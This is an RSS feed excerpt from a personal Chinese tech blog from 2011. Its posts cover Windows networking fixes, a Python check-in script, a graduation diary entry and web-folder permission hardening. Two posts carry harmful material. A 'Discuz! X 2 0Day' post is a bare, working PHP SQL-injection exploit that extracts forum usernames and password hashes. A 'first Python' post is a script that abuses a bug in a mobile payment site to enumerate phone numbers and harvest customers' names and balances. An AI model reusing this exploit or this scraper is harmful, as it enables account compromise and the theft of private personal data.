	<description><![CDATA[<p>&nbsp; &nbsp; 无意中在Windows7 的命令提示符中输入ipconfig /all发现除了正常使用的本地连接zhiwai有数十条隧道适配器的本地连接，经过搜索得知这是win7在IPv6迁移过程中需要使用的一种或多种IPv6过渡技术：</p>
<p style="text-align:center;"><a target="_blank" href="/content/uploadfile/201107/0f5a25670f1647cd03dc54f61e299f6f20110704034450.png" id="ematt:177"><img src="/content/uploadfile/201107/thum-0f5a25670f1647cd03dc54f61e299f6f20110704034450.png" alt="点击查看原图" border="0" /></a></p>
<p style="text-align:left;">&nbsp; &nbsp; 不过对于基本上不使用IPv6的用户这么多隧道适配器本地连接基本上没有任何用处，可以通过在CMD中执行以下命令进行关闭和移除：</p>
<p style="text-align:left;"></p>
<p style="text-align:left;"></p>
<pre class="brush:php; toolbar: true;gutter: true;auto-links: false;">netsh interface teredo set state disabled 
netsh interface 6to4 set state disabled 
netsh interface isatap set state disabled </pre><p>当需要使用IPv6的时候将上面命令中的disabled改为default即可。</p>
<p>&nbsp;</p>
<p></p>
<p style="text-align:left;"></p>
<p style="text-align:left;">如果重启之后依旧不好使则可以使用附件提供的devcon工具（支持32位及64位系统），删除不需要的隧道适配器，</p>
<p style="text-align:left;"></p>
<pre class="brush:php; toolbar: true;gutter: true;auto-links: false;">devcon remove *isatap</pre><pre class="brush:php; toolbar: true;gutter: true;auto-links: false;">devcon remove *6to4*</pre><p></p>
<p style="text-align:center;"><a target="_blank" href="/content/uploadfile/201107/0f5a25670f1647cd03dc54f61e299f6f20110704040521.png" id="ematt:179"><img src="/content/uploadfile/201107/thum-0f5a25670f1647cd03dc54f61e299f6f20110704040521.png" alt="点击查看原图" border="0" /></a></p>
<p style="text-align:left;"></p>
<p style="text-align:left;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;当然还可以进行的操作是在本地连接中禁止IPv6协议并在设备管理器中禁止wan微型端口(IPv6)以及将IP Helper服务设置为手动来彻底关闭IPv6。最后，关于devcon，这是一个强大的命令行实用工具，基本上可以完全替代设备管理器，详情见<a href="http://support.microsoft.com/kb/311272">http://support.microsoft.com/kb/311272</a></p>
<p style="text-align:left;"></p>
<p style="text-align:left;"></p>
<p></p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/post/539">TeamViewer 汉化绿色版</a></p><p><a href="http://www.holmesian.org/yin_">网络流行生僻字：烎-囧-槑-玊-奣-嘦-勥-巭-嫑-恏-兲-氼-忈-炛</a></p><p><a href="http://www.holmesian.org/NewKillNetkeeper">Netkeeper2.5V24以及V18破解方法</a></p><p><a href="http://www.holmesian.org/post/476">两个注册表键值</a></p><p><a href="http://www.holmesian.org/Netkeeper_all">细说破解星空极速netkeeper共享宽带</a></p><p><a href="http://www.holmesian.org/post/546">解决应用程序池“AppPoolName”的模板永久性缓存初始化失败问题</a></p></div>]]></description>
	<pubDate>Mon, 04 Jul 2011 03:36:31 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/win7-isatap-devcon</guid>

</item>
<item>
	<title>红警2局域网联机补丁</title>
	<link>http://www.holmesian.org/post/859</link>
	<description><![CDATA[<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; 因为怀旧准备和拍拍熊一起玩红警2，结果红警2联机还需要万恶的IPX协议支持，强制在Win7下安装IPX协议之后红警依然提示IPX协定未找到，最终在网上发现一个红警2局域网联机补丁。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; 将补丁文件放至红警2文件夹下运行游戏即可。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>
<p>&nbsp;</p>
<p>PS：再附一个WIndows7 网络优化补丁 &nbsp;bat文件</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/windows-epc-cdrom">推荐上网本修改一个注册表参数</a></p><p><a href="http://www.holmesian.org/win7_key">Windows7已验证的密钥key</a></p><p><a href="http://www.holmesian.org/win7_E6">强大的windows7</a></p><p><a href="http://www.holmesian.org/post/531">服务器大清理</a></p><p><a href="http://www.holmesian.org/post/385">解决”Vista无法全选文件夹“的问题</a></p><p><a href="http://www.holmesian.org/post/408">一个罕见的3389后门</a></p></div>]]></description>
	<pubDate>Fri, 01 Jul 2011 09:52:27 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/post/859</guid>

</item>
<item>
	<title>用Python自动登录街旁并完成签到</title>
	<link>http://www.holmesian.org/python-jiepang</link>
	<description><![CDATA[<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; 之前街旁连续登录签到130多天，结果由于有一天比较忙忘记登录签到导致连续加分的内容没有了，今天稍微花了一点时间用Python实现自动登录并签到，准备挂在服务器上每天cron一下，丷丷</p>
<p>&nbsp;</p>
<p></p>
<pre class="brush:php; toolbar: true;gutter: true;auto-links: false;">#coding=gb2312
import urllib2,cookielib,os,sys,urllib

class AutoloadingLogin():
  def __init__ (self,codeurl,userdata,loginurl,validatename,codesavepath,posturl,postdata):
    self.codeurl = codeurl
    self.userdata = userdata
    self.loginurl = loginurl
    self.validatename = validatename
    self.opener = None
    self.codesavepath = codesavepath
    self.postdata=postdata
    self.posturl=posturl

  def savecode (self,content,imagetype):
    t = imagetype.split("/")
    h = open(("%svalidate.%s" %(self.codesavepath,t[1])),"wb")
    h.write(content)
    h.close()

  def request (self,url,cj=None,data=None):
    request=urllib2.Request(url)
    if cj!=None:
      self.opener=urllib2.build_opener(cj)
    if data!=None :
      c = self.opener.open(request,urllib.urlencode(data))
    else:
      c = self.opener.open(request)
    return c

  def login (self):
    cookie=cookielib.CookieJar()
    cj=urllib2.HTTPCookieProcessor(cookie)
    if self.validatename != '':
      c = self.request(self.codeurl,cj)
      imagetype = c.headers.get('Content-Type')
      self.savecode (c.read(),imagetype)
      print "请输入验证码"
      imgcode=raw_input()
      self.userdata[self.validatename] = imgcode
    else:
      print "无验证码"
    c = self.request(self.loginurl,cj,self.userdata)
    self.postin()
  
  def postin (self):
    c = self.request(self.posturl,None,self.postdata)
    #print c.read().decode("utf-8")

def main ():
  #验证码url,如果有的话
  validatecodeurl = ""
  #提交登录或注册时的表单
  userdata = {'pwd':'justyourpasswd','user':'Holmesian@qq.com','sumbit':'登录'}
  #验证码的表单变量，如果有的话
  validatename = ''
  #登录表单提交Url
  loginurl = 'http://jiepang.com/m/login'
  #下载的验证码路径
  codesavepath = ''
  #设置签到变量
  posturl = 'http://jiepang.com/m/checkin?sid=4e0d3d1e089hwt9ejouy'
  postdata = {'douban':'on','fanfou':'on','id':'0B5F8533A77CC23CC7B953DD11A8D30A','kaixin001':'on','qq':'on','renren':'on','sina':'on','status':''}
  a = AutoloadingLogin(validatecodeurl,userdata,loginurl,validatename,codesavepath,posturl,postdata)
  #登录并签到
  a.login()

if __name__ == '__main__':
  main()</pre><p></p>
<p></p>
<p></p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/arename">图片自动更名器</a></p><p><a href="http://www.holmesian.org/Python-MySQLdb">让Python支持Mysql</a></p><p><a href="http://www.holmesian.org/python-diff"> python3.1与python2.x的区别</a></p><p><a href="http://www.holmesian.org/python-fetch">Python抓取教务处信息</a></p><p><a href="http://www.holmesian.org/python-test">初用python</a></p><p><a href="http://www.holmesian.org/FreeBSD-mysql-backup">FreeBSD用Automysqlbackup备份mysql数据库</a></p></div>]]></description>
	<pubDate>Fri, 01 Jul 2011 05:20:44 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/python-jiepang</guid>

</item>
<item>
	<title>正式毕业</title>
	<link>http://www.holmesian.org/graduation</link>
	<description><![CDATA[<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;今天，6月29日，是领毕业证和学位证的日子，昨天应该算是最后一次在学校收到类似“明天早上八点集合，××××”的短信，据说领完毕业证就算正式跟这个学校说再见而且你不愿说再见这个学校也是要把你赶走的。</p>
<p>&nbsp;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; 拖着疲惫的身躯终于在领证前的最后一刻将离校前需要办的手续清单KO掉，幸好发证的是认识的同学而不是老师，幸好只影响到自己拿证的顺序而没有影响到其他TX。可能是为了让毕业生更快适应步入社会之后可能遇到的各种繁琐与无奈学校给毕业生安排的手续那是相当地与国内社会接轨，也给我这个“特殊”份子留下了难忘的回忆，相信短时间我都会有所怀念，每个负责全班毕业手续的班长啊，上辈子都是×××××的××。</p>
<p>&nbsp;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; 相信发完证之后的情形将类似于“树倒胡狲散”，所谓“象牙塔”的梦醒过来的时候总是有太多的现实要去面对，这四年的时光对每个人都进行了一次彻底的雕琢。虽然不再滴酒不沾但是仍然不相信交情要通过酒量来衡量；虽然不再那样“铁石心肠”但是仍然不觉得那些临别前的眼泪有多珍贵；虽然不再像以前那样无所谓归去但是多少还是有些不舍。听着日新服务器的声音，顿悟到原来内心深处我还是我，没有太多的变化，只是更加地喜欢上了简单安静的生活。</p>
<p>&nbsp;</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/Prestressed-concrete-box-beam-bridge-1">6×30m预应力混凝土先简支后连续箱梁桥(1)</a></p><p><a href="http://www.holmesian.org/guoqingfangjia">学校将国庆-中秋假期改为三天</a></p></div>]]></description>
	<pubDate>Wed, 29 Jun 2011 01:41:14 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/graduation</guid>

</item>
<item>
	<title>Discuz! X 2 0Day</title>
	<link>http://www.holmesian.org/post/860</link>
	<description><![CDATA[<span class="Apple-style-span" style="color:#333333;font-family:''Comic Sans MS', 宋体, Arial';"><span class="Apple-style-span" style="font-size:12px;line-height:normal;"><pre class="brush:php; toolbar: true;gutter: true;auto-links: false;">&lt;?php
echo ”Discuz! X2.0 0day EXP\n”;
echo ”By:Steeltiger \n”;
echo ”php.exe dz2exp.php http://www.bbyoo.com/ admin\n”;
if(!empty($argv[1]) &amp;&amp;!empty($argv[2]))
{
echo ”Start\n”;
$exp = base64_encode(“1′ and 1=2 union all select 1,group_concat(username,0x7C3274747C,password) from pre_common_member where  username like ’”.$argv[2].”|x|y”);
$url = ”forum.php?mod=attachment&amp;findpost=ss&amp;aid=”;
file_get_contents($argv[1].$url.$exp);
echo ”End\n”;
}
?&gt;</pre><br />
</span></span><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/FTL">Flash0Day利用工具</a></p><p><a href="http://www.holmesian.org/FlashBug">Flash浏览器插件版本检测自动更新程序</a></p><p><a href="http://www.holmesian.org/IE0Day">最新Vista下的IE 0Day漏洞</a></p><p><a href="http://www.holmesian.org/discuz-broad">Discuz论坛首页公告修改</a></p><p><a href="http://www.holmesian.org/MySQL_0Day">最新MySQL 0day利用代码</a></p><p><a href="http://www.holmesian.org/post/535">discuz论坛股票插件－虚拟股市－股票行情</a></p></div>]]></description>
	<pubDate>Tue, 28 Jun 2011 06:09:03 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/post/860</guid>

</item>
<item>
	<title>Win7无法使用无线网络的问题</title>
	<link>http://www.holmesian.org/win7-wifi-winsock</link>
	<description><![CDATA[<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; 办公室一个小朋友拿了一台不能使用无线网络的笔记本过来找我帮忙，说是本本的无线网卡驱动是正常的，前两天还能上网之后不知道修改了什么参数之后就不能使用无线网络了。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; 简单地看了一下发现WLAN AutoConfig服务的启动类型是自动但是状态是没有启动，类似的还有Windows Event Log服务等，尝试启动后提示“依赖服务未启动”或者“Error 1747 : The Authentication Service is Unknown”（错误1747，未知的服务登录身份），重置所有服务启动类型并重启之后问题依旧，同时计算机启动时相当之缓慢。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; 最终通过重置windows 7 的winsock解决了问题：（开始》运行）</p>
<p><pre class="brush:python; toolbar: true;gutter: true;auto-links: false;">netsh winsock reset</pre>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; 这是由于360和某些其他类似软件共存导致的问题，也伴随着windows的本身的一些小问题。</p>
<p>&nbsp;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; 其他详情参考<a href="http://social.technet.microsoft.com/forums/en-US/itprovistasecurity/thread/f4ce24aa-ae9d-4927-8b0f-52f3ddc4fbd9/">http://social.technet.microsoft.com/forums/en-US/itprovistasecurity/thread/f4ce24aa-ae9d-4927-8b0f-52f3ddc4fbd9/</a></p>
<p>&nbsp;</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/Winsocks">有关Winsock的一个问题</a></p><p><a href="http://www.holmesian.org/win7-sandboxie-ipc">Win7沙盘Sandboxie运行程序出错的解决办法</a></p><p><a href="http://www.holmesian.org/post/532">大战后的伤痕</a></p><p><a href="http://www.holmesian.org/win7_key">Windows7已验证的密钥key</a></p><p><a href="http://www.holmesian.org/post/386">让Home版的Vista也能”组策略“</a></p><p><a href="http://www.holmesian.org/PSDK">XPSP2 PSDK下载</a></p></div>]]></description>
	<pubDate>Tue, 28 Jun 2011 01:55:37 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/win7-wifi-winsock</guid>

</item>
<item>
	<title>初用python</title>
	<link>http://www.holmesian.org/python-test</link>
	<description><![CDATA[<p style="margin-top:5px;margin-right:0px;margin-bottom:5px;margin-left:0px;"></p>
<p style="margin-top:5px;margin-right:0px;margin-bottom:5px;margin-left:0px;">那个啥，充话费的时候发现移动一个小bug，可以获取话费余额，正好试试用python来批量查询一下。</p>
<p style="margin-top:5px;margin-right:0px;margin-bottom:5px;margin-left:0px;">&nbsp;</p>
<p style="margin-top:5px;margin-right:0px;margin-bottom:5px;margin-left:0px;">没有什么技术含量，不过python确实有很多特殊的性质，感觉Python2.6对中文的支持有些欠佳。</p>
<p style="margin-top:5px;margin-right:0px;margin-bottom:5px;margin-left:0px;"></p>
<p style="margin-top:5px;margin-right:0px;margin-bottom:5px;margin-left:0px;"></p>
<p style="margin-top:5px;margin-right:0px;margin-bottom:5px;margin-left:0px;"></p>
<p style="margin-top:5px;margin-right:0px;margin-bottom:5px;margin-left:0px;"></p>
<p style="margin-top:5px;margin-right:0px;margin-bottom:5px;margin-left:0px;"></p>
<p style="margin-top:5px;margin-right:0px;margin-bottom:5px;margin-left:0px;"></p>
<pre class="brush:python; toolbar: true;gutter: true;auto-links: false;">#coding=UTF-8
import httplib
conn = httplib.HTTPConnection("payment.umpay.com")
false="false"
result = open('result.txt', 'w+')
for yphone in range(13576102121,13576102126,1):
  yphone=str(yphone)
  conn.request('GET', '/ec3/getAccountFee.do?flag=1&amp;mobileId='+yphone+'&amp;partnerId=M79101&amp;provCode=791&amp;servId=00')
  comeback=eval(conn.getresponse().read().decode('utf-8').encode('GBK'))
  #output like this: {"command":"ajaxAccountFee","minFee":"","moPreFee":"19","customName":"* * ?"}
  if comeback['moPreFee']!='':
    print "Num:",yphone,"Name:",comeback['customName'].replace(" ",""),"Fee:",comeback['moPreFee']
    writecontent=yphone+"    "+comeback['customName'].replace(" ","")+"   "+comeback['moPreFee']+"\r"
    result.write (writecontent)

result.close()
conn.close()  </pre><p></p>
<p style="margin-top:5px;margin-right:0px;margin-bottom:5px;margin-left:0px;"></p>
<p></p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/Python-MySQLdb">让Python支持Mysql</a></p><p><a href="http://www.holmesian.org/python-jiepang">用Python自动登录街旁并完成签到</a></p><p><a href="http://www.holmesian.org/python-thread">Python多线程抓取</a></p><p><a href="http://www.holmesian.org/python-shelve-set">折腾Python人人爬虫的收获</a></p><p><a href="http://www.holmesian.org/10086_SMS">来自10086的……</a></p><p><a href="http://www.holmesian.org/python-fetch">Python抓取教务处信息</a></p></div>]]></description>
	<pubDate>Mon, 27 Jun 2011 07:18:34 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/python-test</guid>

</item>
<item>
	<title>Discuz! X 2.0和Ucenter 1.6权限设置</title>
	<link>http://www.holmesian.org/Web-File-Permissions</link>
	<description><![CDATA[<p></p>
<p>升级完网站系统之后，在网站的程序文件夹下这样的权限是极端不靠谱的：</p>
<p style="text-align:center;">drwxrwxrwx &nbsp;20 www &nbsp; www &nbsp; &nbsp; &nbsp; &nbsp;1.0K Jun &nbsp;6 02:27 www/&nbsp;</p>
<p>可以先执行以下操作：</p>
<p></p>
<p style="text-align:center;">chown -R www:www /www;chmod u-w,u-r,g-w,g-r /www</p>
<p style="text-align:center;">find /www -type f -print0 | xargs -0 chmod u-x,g-x,o-x,u-w,g-w</p>
<p style="text-align:center;">find /www -type d -print0 | xargs -0 chmod u-r,g-r,u-w,g-w</p>
<p></p>
<p>这样就可以去除掉所有网站文件的执行权限和目录的列表权限，再依照情况去除所有网站目录中不需要写权限文件夹的w权限，在配合nginx的上传目录禁止运行脚本设置，这样即使被人取得webshell也不能造成太大的危害。（即不需要写入的网站文件夹给x权限，需要写入的网站文件夹给wx权限）</p>
<p>&nbsp;</p>
<p>附：（将下面文件列表保存为pre，用cat pre | xargs chmod u+w命令批量修改权限，参考：find . -type f -print0 | xargs -0 chmod u+r,u-x,g+r,g-x,o-x,u-w,g-w;find . -type d -print0 | xargs -0 chmod u-r,g-r,u-w,g-w;cat pre | xargs chmod -R u+w,g+w）</p>
<p>PS:<span style="color:#e53333;">Discuz X2中source文件夹必须有r的权限，否则访问admin.php的时候会出500错误。</span></p>
<p>Ucenter的目录权限和文件权限设置</p>
<p>./data/avatar</p>
<p>./data/backup</p>
<p>./data/cache</p>
<p>./data/logs</p>
<p>./data/tmp</p>
<p>./data/view</p>
<p>&nbsp;</p>
<p>Discuz! X 社区网站目录权限和文件需要写权限的对象</p>
<p></p>
<p></p>
<p>./data/avatar</p>
<p>./data/imagecache</p>
<p>./data/plugindata</p>
<p>./data/sysdata</p>
<p>./data/request</p>
<p>./data/template</p>
<p>./data/threadcache</p>
<p>./data/attachment</p>
<p>./data/attachment/album</p>
<p>./data/attachment/forum</p>
<p>./data/attachment/group</p>
<p>./data/log</p>
<p>./data/cache</p>
<p>./uc_client/data/cache</p>
<p>./uc_server/data/</p>
<p>./uc_server/data/cache</p>
<p>./uc_server/data/avatar</p>
<p>./uc_server/data/backup</p>
<p>./uc_server/data/logs</p>
<p>./uc_server/data/tmp</p>
<p>./uc_server/data/view</p>
<p>&nbsp;</p>
<p>记事狗结构图及每个文件功能介绍</p>
<p></p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┣ api 接口目录</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ uc.php &nbsp; &nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ uc_api_db.php&nbsp;</p>
<p>&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┣ backup 备份目录</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣&nbsp;</p>
<p>&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┣ cache 缓存目录</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ index 首页缓存目录</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ r_users.cache.php</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ recommend_topics.cache.php</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ misc 杂项缓存目录</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ role 角色缓存目录</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ _guestIndex-list_notice.cache.php</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ admin_statistic.cache.php</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ data_length.cache.php</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ .........</p>
<p>&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ role 角色缓存目录</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ role_1.cache.php</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ .........</p>
<p>&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ role_action 角色动作缓存目录</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ table 表结构缓存目录</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ jishigou_member_validate.cache.php&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ ........</p>
<p>&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ tag 标签缓存目录</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ day7_guanzhu.cache.php</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ ........</p>
<p>&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ templates 模板缓存总目录</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ default 默认模板目录&nbsp;</p>
<p>&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┣ errorlog 错误日志目录</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span></p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┣ iis_rewrite iis伪静态配置目录</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span></p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┣ images 图片目录</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ medal 勋章目录</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ ......&nbsp;</p>
<p>&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ temp 临时图片目录&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ ......&nbsp;</p>
<p>&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ topic 消息图片目录&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ ......&nbsp;</p>
<p>&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ video_img 视频图片目录&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ ......&nbsp;</p>
<p>&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ weather 天气图片目录</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ ......&nbsp;</p>
<p>&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┣ include 核心引用包含资源库目录</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ db 数据库类目录</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ database.db.php 各种数据库接口库</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ mysql.db.php mysql数据库库</p>
<p>&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ encoding 编码转换目录&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ chinese.class.php 汉字编码库</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ tables 编码表目录</p>
<p>&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ function 常用函数库目录</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ app.func.php 应用函数库</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ area.func.php 地区函数库</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ global.func.php 全局函数库</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ imjiqiren.func.php 机器人函数库</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ imjiqiren_env.func.php 机器人接口库</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ misc.func.php 杂项函数库</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ my.func.php &nbsp;我的验证函数库</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ order.func.php &nbsp;排序函数库</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ qqwb.func.php QQ微博函数库---加密</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ qqwb_env.func.php QQ微博接口函数库---加密</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ schedule.func.php 任务调度函数库</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ sina.func.php 新浪微博函数库</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ sina_env.func.php &nbsp;新浪微博接口函数库</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ sms.func.php 短信函数库</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ sms_env.func.php 短信接口函数库</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ zip.func.php zip压缩文件类库</p>
<p>&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ lib 资源库</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ cookie.han.php cookie库</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ form.han.php 表单库</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ ftp.han.php ftp库</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ http_client.class.php http client 库</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ imjiqiren_db.class.php&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ io.han.php 磁盘，文件库</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ mail.han.php 邮件库</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ member.han.php 用户操作类 用户存在，权限判断</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ rewrite.han.php 伪静态</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ servicesJSON.han.php json 类</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ sms_db.class.php 短信类</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ smtp.han.php smtp类</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ template.han.php 模板解析类</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ thumb.class.php 缩略图类</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ upload.han.php 上传类</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ validate.han.php 外部数据验证</p>
<p>&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ logic 逻辑库&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ qqwb QQ微博库&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ task 任务计划库&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ xwb 新浪微博库&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span></p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┣ modules 核心模块目录</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ admin 后台核心模块目录&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┣ ajax ajax模块目录&nbsp;</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ app.mod.php</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ face.mod.php</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ master.mod.php</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ member.mod.php</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ pm.mod.php</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ reminded.mod.php</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ schedule.mod.php</p>
<p><span class="Apple-tab-span" style="white-space:pre;">	</span>┃┃┣ sms.mod.php</p>
